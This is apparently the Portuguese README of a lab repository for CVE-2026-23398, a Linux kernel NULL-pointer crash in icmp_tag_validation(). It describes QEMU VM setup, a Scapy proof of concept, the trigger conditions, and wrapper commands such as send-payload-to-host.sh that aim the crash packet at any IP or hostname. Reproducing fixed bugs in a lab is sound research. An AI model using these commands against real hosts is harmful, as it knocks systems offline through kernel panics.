
Laboratório reproduzível para CVE-2026-23398, uma desreferência de ponteiro NULL no kernel Linux em icmp_tag_validation() acionada por pacotes ICMP Fragmentation Needed, causando negação de serviço. Inclui configuração de VM QEMU, PoC em Scapy e scripts para testar kernels corrigidos e vulneráveis.
ip_no_pmtu_disc=3)Lab reproduzível para o bug do kernel Linux em icmp_tag_validation() (desreferência de ponteiro nulo quando net.ipv4.ip_no_pmtu_disc = 3 e um ICMP Fragmentation Needed chega cujo cabeçalho IPv4 interno citado usa um número de protocolo sem handler em inet_protos[]).
Uso autorizado apenas: sistemas que você possui ou para os quais tem permissão escrita explícita para testar. O impacto é negação de serviço (pânico do kernel).
| Componente | Finalidade |
|---|
QEMU (qemu-system-x86_64, qemu-img) | VM vítima |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init e download de imagem |
| Docker + Docker Compose | Remetente ICMP a partir do host (modo de rede host) |
| Cliente OpenSSH | Automação SSH |
Chave SSH em ~/.ssh/id_ed25519.pub ou id_rsa.pub, ou sshpass | Login no convidado sem digitar senha (chaves recomendadas) |
| sudo | Somente modo TAP (ICMP do host para o IP fixo da VM) |
Python 3 e Scapy no host são necessários apenas se você não usar Docker para payloads remotos.
├── send_frag_needed.py # PoC Scapy (ICMP 3,4 + IP interno com proto incomum)
├── send-payload-to-host.sh # Envia payload para um IP/hostname na sua rede
├── docker-compose.yml # Serviço "sender" (rede host + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Discos, seeds cloud-init, logs seriais QEMU
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # Seed DHCP (modo usernet)
├── build-seed.sh # Seed estático 192.168.76.2 (modo TAP)
├── vm-start-usernet.sh # QEMU + rede de usuário (porta SSH 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (após tap-up.sh)
├── tap-up.sh / tap-down.sh # Interface TAP no host (sudo)
├── run-lab-usernet.sh # Fluxo completo: imagem + VM + Scapy no convidado (kernel recente)
├── run-lab.sh # Fluxo TAP + remetente docker → 192.168.76.2
├── install-vulnerable-mainline.sh # Mainline 6.12 sem patch + PoC veth (pânico)
└── poc-veth-netns.sh # Executar *dentro* do convidado (veth + netns)
A rede de usuário do QEMU não entrega de forma confiável ICMP originado no host para o convidado. O fluxo automatizado instala Scapy na VM e executa o script lá. Um kernel Ubuntu atual geralmente está corrigido: você verá "Sent 1 packets" mas sem pânico.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Primeira execução: baixar imagem cloud Ubuntu Noble, overlay, seed, iniciar QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (senha lablab se você depender de autenticação por senha)../scripts/vm-stop-usernet.shvm/serial-usernet.logA correção do CVE chegou em março de 2026. Um build mainline mais antigo (ex.: 6.12.0 de 2024-11) não inclui essa correção. O script instala esses pacotes .deb na VM, reinicia e executa o PoC usando veth + um namespace de rede para que o ICMP siga um caminho real de ingress (enviar apenas para o loopback/IP de interface do próprio convidado não é suficiente).
Aviso: isso normalmente termina em pânico do kernel; o SSH para de responder.
# VM usernet em execução (ou após run-lab-usernet tê-la criado uma vez)
./scripts/vm-start-usernet.sh # se ainda não estiver em execução
./scripts/install-vulnerable-mainline.sh
| Sinal | Pânico aconteceu (esperado no 6.12 vulnerável) | Pânico não aconteceu |
|---|---|---|
| SSH logo após "Running PoC …" | Trava ou Connection timed out / Connection reset | A sessão ainda funciona; você obtém um shell |
Saída de send_frag_needed.py | Você deve ver . Sent 1 packets. antes de o SSH morrer (frequentemente truncado se o link cair imediatamente) | Install Scapy: pip install scapy → Scapy estava ausente no convidado; o ICMP nunca foi enviado. Execute novamente install-vulnerable-mainline.sh (ele instala python3-scapy) ou execute sudo apt install -y python3-scapy na VM e execute o PoC novamente |
| Log serial | tail -f vm/serial-usernet.log mostra Kernel panic, icmp_unreach, CR2: 0000000000000010, etc. | Sem linhas de pânico; o convidado continua em execução |
| Processo QEMU | Ainda em execução, mas o SO convidado está morto até reiniciar | O convidado ainda responde na porta 2222 |
Nota sobre disco novo: Se você executar apenas prepare-disk.sh + vm-start-usernet.sh (não run-lab-usernet.sh), o convidado pode não ter python3-scapy até que install-vulnerable-mainline.sh o instale (ou você o instale manualmente).
Após um pânico — redefinição limpa:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# opcional: reinstalar pacotes / executar novamente install-vulnerable-mainline.sh
O convidado usa 192.168.76.2 e o host 192.168.76.1 no TAP. O ICMP se comporta como em uma LAN real.
./scripts/tap-up.sh # sudo: cria icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # endereçamento estático no cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# Na VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 e um kernel vulnerável se você quiser pânico
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh encadeia parte disso (requer TAP + Docker).
Wrapper de conveniência (resolve hostname → IPv4, prefere Docker, caso contrário sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # uma vez
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Sem Docker:
sudo pip install scapy # se necessário
sudo ./send-payload-to-host.sh 192.168.1.50
Condições do alvo que importam para este CVE:
net.ipv4.ip_no_pmtu_disc = 3 (modo PMTU endurecido).Se o kernel estiver corrigido ou o sysctl não for 3, você não verá pânico; o pacote ainda pode ser transmitido na rede.
| Variável | Descrição |
|---|---|
ICMP_LAB_TAP | Nome do dispositivo TAP (padrão icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Endereço do host no TAP (padrão 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | Porta SSH usernet (padrão 2222) |
ICMP_LAB_SSH_HOST | Host SSH (padrão 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e no mainline)3: commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Objetivo | Comando |
|---|---|
| Lab usernet pela primeira vez | ./scripts/run-lab-usernet.sh |
| Iniciar / parar VM usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Kernel vulnerável + PoC (pânico) | ./scripts/install-vulnerable-mainline.sh |
| Redefinir disco após pânico | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Payload para IP/host na LAN | ./send-payload-to-host.sh <IP|hostname> |
| Criar imagem Docker do remetente | docker compose build |